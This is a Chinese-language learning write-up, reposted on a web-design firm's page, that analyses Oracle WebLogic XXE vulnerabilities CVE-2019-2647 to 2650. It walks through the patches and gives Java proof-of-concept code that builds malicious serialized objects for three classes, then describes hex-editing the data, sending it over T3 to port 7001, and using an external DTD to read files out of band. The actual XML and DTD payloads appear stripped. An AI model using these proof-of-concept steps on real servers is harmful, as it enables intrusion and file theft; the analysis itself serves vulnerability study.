网创优客建站品牌官网
为成都网站建设公司企业提供高品质网站建设
热线:028-86922220
成都专业网站建设公司

定制建站费用3500元

符合中小企业对网站设计、功能常规化式的企业展示型网站建设

成都品牌网站建设

品牌网站建设费用6000元

本套餐主要针对企业品牌型网站、中高端设计、前端互动体验...

成都商城网站建设

商城网站建设费用8000元

商城网站建设因基本功能的需求不同费用上面也有很大的差别...

成都微信网站建设

手机微信网站建站3000元

手机微信网站开发、微信官网、微信商城网站...

建站知识

当前位置:首页 > 建站知识

WebLogicCVE-2019-2647~2650XXE漏洞分析-创新互联

Oracle发布了4月份的补丁,详情见链接( https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW )

成都创新互联公司是一家专业的成都网站建设公司,我们专注网站设计制作、成都网站设计、网络营销、企业网站建设,买链接广告投放平台为企业客户提供一站式建站解决方案,能带给客户新的互联网理念。从网站结构的规划UI设计到用户体验提高,创新互联力求做到尽善尽美。

@xxlegend在《 weblogic CVE-2019-2647等相关XXE漏洞分析 》分析了其中的一个XXE漏洞点,并给出了PoC。刚入手java不久,本着学习的目的,自己尝试分析了其他几个点的XXE并构造了PoC。下面的分析我尽量描述自己思考以及PoC构造过程,新手真的会踩很多莫名其妙的坑。感谢在复现与分析过程中为我提供帮助的小伙伴@Badcode,没有他的帮助我可能环境搭起来都会花费一大半时间。

补丁分析,找到漏洞点

根据JAVA常见XXE写法与防御方式(参考 https://blog.spoock.com/2018/10/23/java-xxe/ ),通过对比补丁,发现新补丁以下四处进行了 setFeature 操作:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

应该就是对应的四个CVE了,其中 ForeignRecoveryContext @xxlegend大佬已经分析过了,这里就不再分析了,下面主要是分析下其他三个点

分析环境

  • Windows 10

  • WebLogic 10.3.6.0

  • Jdk160_29(WebLogic 10.3.6.0自带的JDK)


WsrmServerPayloadContext 漏洞点分析

WsrmServerPayloadContext 修复后的代码如下:

package weblogic.wsee.reliability;
import ...
public class WsrmServerPayloadContext extends WsrmPayloadContext {
    public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
        ...
        }
        private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException {
            ...
            ByteArrayInputStream var15 = new ByteArrayInputStream(var3);
            try {
                DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();
                try {
                    String var8 = "http://xml.org/sax/features/external-general-entities";
                    var7.setFeature(var8, false);
                    var8 = "http://xml.org/sax/features/external-parameter-entities";
                    var7.setFeature(var8, false);
                    var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
                    var7.setFeature(var8, false);
                    var7.setXIncludeAware(false);
                    var7.setExpandEntityReferences(false);
                } catch (Exception var11) {
                    if (verbose) {
                        Verbose.log("Failed to set factory:" + var11);
                    }
                }
           ...
        }
}

可以看到进行了 setFeature 操作防止xxe攻击,而未打补丁之前是没有进行 setFeature 操作的

readExternal 在反序列化对象时会被调用,与之对应的 writeExternal 在序列化对象时会被调用,看下 writeExternal 的逻辑:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

var1 就是 this.formENdpt ,注意 var5.serialize 可以传入三种类型的对象, var1.getEndptElement() 返回的是 Element 对象,先尝试新建一个项目构造一下 PoC :

结构如下

WebLogic CVE-2019-2647~2650 XXE漏洞分析

public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static class MyEndpointReference extends EndpointReference {
        @Override
        public Element getEndptElement() {
            super.getEndptElement();
            Document doc = null;
            Element element = null;
            try {
                DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
                //从DOM工厂中获得DOM解析器
                DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
                //创建文档树模型对象
                doc = dbBuilder.parse("test.xml");
                element = doc.getDocumentElement();
            } catch (Exception e) {
                e.printStackTrace();
            }
            return element;
        }
    }
    public static Object getXXEObject() {
        EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();
        EndpointReference faultToEndpt = null;
        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
        try {
            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
            f1.setAccessible(true);
            f1.set(wspc, fromEndpt);
            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
            f2.setAccessible(true);
            f2.set(wspc, faultToEndpt);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wspc;
    }
}

test.xml内容如下,my.dtd暂时为空就行,先测试能否接收到请求:



        ]>
4

运行PoC,生成的反序列化数据xxe,使用十六进制查看器打开:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

发现DOCTYPE无法被引入

我尝试了下面几种方法:

  • 在上面说到 var5.serialize 可以传入 Document 对象,测试了下,的确可以,但是如何使 getEndptElement 返回一个 Document 对象呢?

    • 尝试了自己创建一个 EndpointReference 类,修改 getEndptElement 返回对象,内容和原始内容一样,但是在反序列化时找不到我创建的类,原因是自己建的类 package 与原来的不同,所以失败了

    • 尝试像Python那样动态替换一个类的方法,貌似Java好像做不到...

  • 尝试了一个暴力的方法,替换Jar包中的类。首先复制出Weblogic的 modules 文件夹与 wlserver_10.3\server\lib 文件夹到另一个目录,将 wlserver_10.3\server\lib\weblogic.jar 解压,将 WsrmServerPayloadContext.class 类删除,重新压缩为 weblogic.Jar ,然后新建一个项目,引入需要的Jar文件( modules 和 wlserver_10.3\server\lib 中所有的Jar包),然后新建一个与 WsrmServerPayloadContext.class 同样的包名,在其中新建 WsrmServerPayloadContext.class 类,复制原来的内容进行修改(修改只是为了生成能触发xml解析的数据,对readExternal反序列化没有影响)。

    WsrmServerPayloadContext.class 修改的内容如下:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

  • 经过测试第二种方式是可行的,但是好像过程略复杂。然后尝试了下新建一个与原始 WsrmServerPayloadContext.class 类同样的包名,然后进行修改,修改内容与第二种方式一样

WebLogic CVE-2019-2647~2650 XXE漏洞分析

  • 测试这种方式也是可行的,比第二种方式操作起来方便些

构造新的PoC:

public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static Object getXXEObject() {
        EndpointReference fromEndpt = new EndpointReference();
        EndpointReference faultToEndpt = null;
        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
        try {
            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
            f1.setAccessible(true);
            f1.set(wspc, fromEndpt);
            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
            f2.setAccessible(true);
            f2.set(wspc, faultToEndpt);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wspc;
    }
}

查看下新生成的xxe十六进制:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

DOCTYPE被写入了

测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

WebLogic CVE-2019-2647~2650 XXE漏洞分析

漂亮,接收到请求了,接下来就是尝试下到底能不能读取到文件了

构造的test.xml如下:



        
        %dtd;
        %send;
        ]>
xxe

my.dtd如下(my.dtd在使用PoC生成反序列化数据的时候先清空,然后,不然在 dbBuilder.parse 时会报错无法生成正常的反序列化数据,至于为什么,只有自己测试下才会明白):

"
>
%all;

运行PoC生成反序列化数据,测下发现请求都接收不到了...,好吧,查看下十六进制:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

%dtd;%send; 居然不见了...,可能是因为DOM解析器的原因,my.dtd内容为空,数据没有被引用。

尝试debug看下:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

可以看到 %dtd;%send; 确实是被处理掉了

测试下正常的加载外部数据,my.dtd改为如下:

"
>
%all;

gen.xml为:


debug看下:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

可以看到 %dtd;%send; 被my.dtd里面的内容替换了。debug大致看了xml解析过程,中间有一个 EntityScanner ,会检测xml中的ENTITY,并且会判断是否加载了外部资源,如果加载了就外部资源加载进来,后面会将实体引用替换为实体申明的内容。也就是说,我们构造的反序列化数据中的xml数据,已经被解析过一次了,而需要的是没有被解析过的数据,让目标去解析。

所以我尝试修改了十六进制如下,使得xml修改成没有被解析的形式:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

运行PoC测试下,

WebLogic CVE-2019-2647~2650 XXE漏洞分析

WebLogic CVE-2019-2647~2650 XXE漏洞分析

WebLogic CVE-2019-2647~2650 XXE漏洞分析

居然成功了,一开始以为反序列化生成的xml数据那块还会进行校验,不然反序列化不了,直接修改数据是不行的,没想到直接修改就可以了

UnknownMsgHeader 漏洞点分析

与 WsrmServerPayloadContext 差不多,PoC构造也是新建包然后替换,就不详细分析了,只说下类修改的地方与PoC构造

新建 UnknownMsgHeader 类,修改 writeExternal

WebLogic CVE-2019-2647~2650 XXE漏洞分析

PoC如下:

public class WeblogicXXE2 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static Object getXXEObject() {
        QName qname = new QName("a", "b", "c");
        Element xmlHeader = null;
        UnknownMsgHeader umh = new UnknownMsgHeader();
        try {
            Field f1 = umh.getClass().getDeclaredField("qname");
            f1.setAccessible(true);
            f1.set(umh, qname);
            Field f2 = umh.getClass().getDeclaredField("xmlHeader");
            f2.setAccessible(true);
            f2.set(umh, xmlHeader);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return umh;
    }
}

运行PoC测试下(生成的步骤与第一个漏洞点一样),使用T3协议脚本向WebLogic 7001端口发送序列化数据:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

WebLogic CVE-2019-2647~2650 XXE漏洞分析

WsrmSequenceContext 漏洞点分析


这个类看似需要构造的东西挺多的, readExternal 与 writeExternal 的逻辑也比前两个复杂些,但是PoC构造也很容易

新建 WsrmSequenceContext 类,修改

WebLogic CVE-2019-2647~2650 XXE漏洞分析

PoC如下:

public class WeblogicXXE3 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static Object getXXEObject() {
        EndpointReference acksTo = new EndpointReference();
        WsrmSequenceContext wsc = new WsrmSequenceContext();
        try {
            Field f1 = wsc.getClass().getDeclaredField("acksTo");
            f1.setAccessible(true);
            f1.set(wsc, acksTo);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wsc;
    }
}

测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

WebLogic CVE-2019-2647~2650 XXE漏洞分析

最 后

好了,分析完成了。第一次分析Java的漏洞,还有很多不足的地方,但是分析的过程中也学到了很多,就算是一个看似很简单的点,如果不熟悉Java的一特性,会花费较长的时间去折腾。所以,一步一步走吧,不要太急躁,还有很多东西要学。


网页标题:WebLogicCVE-2019-2647~2650XXE漏洞分析-创新互联
链接分享:http://bjjierui.cn/article/djohge.html

其他资讯